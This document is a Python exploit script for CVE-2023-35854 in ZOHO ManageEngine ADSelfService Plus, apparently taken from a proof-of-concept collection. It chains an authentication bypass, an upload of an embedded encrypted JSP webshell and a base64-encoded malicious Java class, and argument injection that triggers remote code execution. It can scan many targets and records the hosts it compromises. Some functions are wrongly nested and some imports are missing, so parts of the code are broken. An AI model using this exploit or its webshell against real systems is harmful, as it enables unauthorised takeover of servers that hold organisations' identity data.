4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-35854.py PY
#!/usr/bin/env python3  
# Author: CrazyFrog  
# 本代码参考修改自用户970198175,源链接 https://github.com/970198175/Simply-use/blob/main/CVE-2023-35854.py
# 未经授权许可使用本项目攻击或测试目标是非法的,本程序应仅用于授权的安全测试与研究目的,请使用者遵照网络安全法合理使用!  
# 如果使用者使用该工具出现任何非法攻击等违法行为,与作者无关!  
import argparse
import requests
import warnings
import urllib3

proxies = {}
urllib3.disable_warnings()
warnings.filterwarnings("ignore")


def urlget(url, count=0):
    max_count = 1
    if count > max_count:
        return 0
    try:
        response = requests.get(url, timeout=10, verify=False, proxies=proxies)
        status_code = response.status_code
        return status_code
    except:
        return urlget(url, count + 1)


def check(url, count=0):
    max_count = 1
    if count > max_count:
        print(f"递归超过限制: {url}")
        return

    status_code = urlget(url)
    if status_code == 200:
        check1(url)
    elif status_code == 0:
        print(f"访问失败: {url}")
        return
    else:
        new_url = redirect_url(url)
        check(new_url, count + 1)


def redirect_url(url):
    if url.startswith("https://"):
        new_url = url.replace("https://", "http://")
    else:
        new_url = url.replace("http://", "https://")

    return new_url


def check1(turl):
    check_bypass_endpoint = "/./RestAPI/LogonCustomization"
    chek_url = turl + check_bypass_endpoint
    try:
        s = requests.Session()
        data = {"methodToCall": "previewMobLogo"}
        req = requests.Request(url=chek_url, method='POST', data=data)
        prep = req.prepare()
        prep.url = chek_url
        response = s.send(prep, timeout=8, verify=False, proxies=proxies)
        if '<script type="text/javascript">var d = new Date();' in response.text:
            upload_jsp(turl)
        else:
            print("[-] " + chek_url + "   ---Target doesn't seem vulnerable")
    except Exception as e:
        print("[-] " + turl + "   ---url请求失败")


def upload_jsp(turl):
    upload_url = turl + "/./RestAPI/LogonCustomization"
    webshell = """
    <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
    %>"""
    files = {'CERTIFICATE_PATH': ('crazy.txt', webshell)}
    data = {"methodToCall": "unspecified", "Save": "yes", "form": "smartcard", "operation": "Add"}
    try:
        s = requests.Session()
        req = requests.Request(url=upload_url, method='POST', files=files, data=data)
        prep = req.prepare()
        prep.url = upload_url
        response = s.send(prep, verify=False, timeout=15, proxies=proxies)
        if response.status_code == 404:
            upload_java_class(turl)
        else:
            print("[-] " + upload_url + "   ---Can't upload webshell")
    except Exception as e:
        print("[-] " + turl + "   ---jsp请求失败")

    # 请根据需求完善 upload_java_class 函数...  
    def upload_java_class(turl):
        upload_url = turl + "/./RestAPI/LogonCustomization"
        java1_8_payload_b64 = "yv66vgAAADQALAoADgAYBwAZCAAaCAAbCAAcCAAdCAAeCgAfACAKAB8AIQgAIggAIwcAJAcAJQcAJgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACQBAApTb3VyY2VGaWxlAQAKQ3JhenkuamF2YQwADwAQAQAQamF2YS9sYW5nL1N0cmluZwEAA2NtZAEAAi9jAQAEY29weQEACWNyYXp5LnR4dAEAKC4uXHdlYmFwcHNcYWRzc3BcaGVscFxhZG1pbi1ndWlkZVxseS5qc3AHACcMACgAKQwAKgArAQADZGVsAQALQ3JhenkuQ2xhc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAFQ3JhenkBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQANAA4AAAAAAAIAAQAPABAAAQARAAAAHQABAAEAAAAFKrcAAbEAAAABABIAAAAGAAEAAAADAAgAEwAQAAEAEQAAAL8ABAAGAAAAcAi9AAJZAxIDU1kEEgRTWQUSBVNZBhIGU1kHEgdTS7gACCq2AAlMB70AAlkDEgNTWQQSBFNZBRIKU1kGEgZTTbgACCy2AAlOB70AAlkDEgNTWQQSBFNZBRIKU1kGEgtTOgS4AAgZBLYACToFpwAES7EAAQAAAGsAbgAMAAIAEgAAACYACQAAAAYAHgAHACYACAA/AAkARwAKAGEACwBrAA0AbgAMAG8ADgAUAAAACQAC9wBuBwAVAAABABYAAAACABc="
        files = {'CERTIFICATE_PATH': ('Crazy.class', BytesIO(b64decode(java1_8_payload_b64)))}
        data = {"methodToCall": "unspecified", "Save": "yes", "form": "smartcard", "operation": "Add"}
        try:
            s = requests.Session()
            req = requests.Request(url=upload_url, method='POST', files=files, data=data)
            prep = req.prepare()
            prep.url = upload_url
            response = s.send(prep, verify=False, proxies=proxies)
            if response.status_code == 404:
                execute_rce(turl)
            else:
                print("[-]" + upload_url + "   ---Can't upload Java Class")
        except Exception as e:
            print("[-]" + turl + "   ---java_class请求失败")

    def execute_rce(turl):
        rce_url = turl + "/./RestAPI/Connection"
        s = requests.Session()
        data = {"methodToCall": "openSSLTool", "action": "generateCSR",
                "KEY_LENGTH": '1024 -providerclass Crazy -providerpath "..\\bin"'}
        req = requests.Request(url=rce_url, method='POST', data=data)
        prep = req.prepare()
        prep.url = rce_url
        try:
            response = s.send(prep, verify=False, proxies=proxies)
            if response.status_code == 404:
                verify_webshell(turl)
            else:
                print("[-]" + rce_url + "   ---Can't trigger RCE from Java Class")
        except Exception as e:
            print("[-]" + turl + "   ---rce请求失败")

    def verify_webshell(turl):
        webshell_url = turl + "/help/admin-guide/ly.jsp"
        try:
            response = requests.post(webshell_url, data={}, verify=False, proxies=proxies)
            if (response.status_code == 404):
                print("[-]" + webshell_url + "  Can't find webshell")
            else:
                print("[+]" + webshell_url + "   Webshell successfully upload.")
                try:
                    dir_path = os.path.dirname(os.path.abspath(__file__))
                    f = open(os.path.join(dir_path, 'result.txt'), 'a', encoding='utf-8')
                    f.write(webshell_url + '\n')
                    f.close()
                except Exception as e:
                    print('写入文件失败:', e)
                finally:
                    f.close()
        except Exception as e:
            print("[-]" + webshell_url + "   ---Can't parse response")


def main():
    print("CVE-2023-35854: ZOHO ManageEngine ADSelfService Plus")
    parser = argparse.ArgumentParser(description='Scan for vulnerability')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', type=str, help='Specify a single target URL')
    group.add_argument('-r', '--read', type=str, help='Specify a file containing target URLs')
    args = parser.parse_args()

    if args.url:
        if not "http" in args.url:
            print("Please specify schema (http/https)")
            exit(1)
        check(args.url)

    elif args.read:
        try:
            with open(args.read, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()  # 去掉前后空白  
                    if not url.startswith("http"):
                        print(f"Skipping invalid URL: {url}")
                        continue
                    check(url)
        except Exception as e:
            print(f"无法读取文件 {args.read}:{e}")


if __name__ == '__main__':
    main()